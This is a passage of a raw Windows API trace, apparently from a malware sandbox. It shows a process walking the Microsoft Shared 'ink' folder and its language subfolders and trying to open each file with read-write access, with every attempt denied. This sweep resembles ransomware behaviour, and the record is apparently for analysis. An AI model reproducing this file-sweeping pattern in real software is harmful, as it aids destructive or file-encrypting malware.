[0142.319] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0142.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.320] GetLastError () returned 0x5 [0142.320] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0142.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.320] GetLastError () returned 0x5 [0142.320] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0142.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.321] GetLastError () returned 0x5 [0142.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0142.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.321] GetLastError () returned 0x5 [0142.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0142.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.321] GetLastError () returned 0x5 [0142.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0142.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.321] GetLastError () returned 0x5 [0142.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0142.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.322] GetLastError () returned 0x5 [0142.322] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0142.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.323] GetLastError () returned 0x5 [0142.323] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.323] GetLastError () returned 0x5 [0142.323] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.323] GetLastError () returned 0x5 [0142.323] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0142.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.323] GetLastError () returned 0x5 [0142.324] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0142.324] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.324] GetProcessHeap () returned 0x2a0000 [0142.324] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.324] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0142.325] GetProcessHeap () returned 0x2a0000 [0142.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.325] GetProcessHeap () returned 0x2a0000 [0142.325] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.325] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.325] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.325] GetProcessHeap () returned 0x2a0000 [0142.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.325] GetLastError () returned 0x5 [0142.325] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.325] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.326] GetProcessHeap () returned 0x2a0000 [0142.326] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.326] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0142.326] GetProcessHeap () returned 0x2a0000 [0142.326] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.327] GetProcessHeap () returned 0x2a0000 [0142.327] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.327] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.327] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.327] GetProcessHeap () returned 0x2a0000 [0142.327] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.327] GetLastError () returned 0x5 [0142.327] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.327] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.327] GetProcessHeap () returned 0x2a0000 [0142.327] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.327] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0142.327] GetProcessHeap () returned 0x2a0000 [0142.327] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.328] GetProcessHeap () returned 0x2a0000 [0142.328] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.328] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.328] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.328] GetProcessHeap () returned 0x2a0000 [0142.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.329] GetLastError () returned 0x5 [0142.329] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.329] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.329] GetProcessHeap () returned 0x2a0000 [0142.329] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.329] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0142.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.329] GetLastError () returned 0x5 [0142.329] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0142.329] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0142.329] GetProcessHeap () returned 0x2a0000 [0142.329] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.330] GetProcessHeap () returned 0x2a0000 [0142.330] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.330] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, 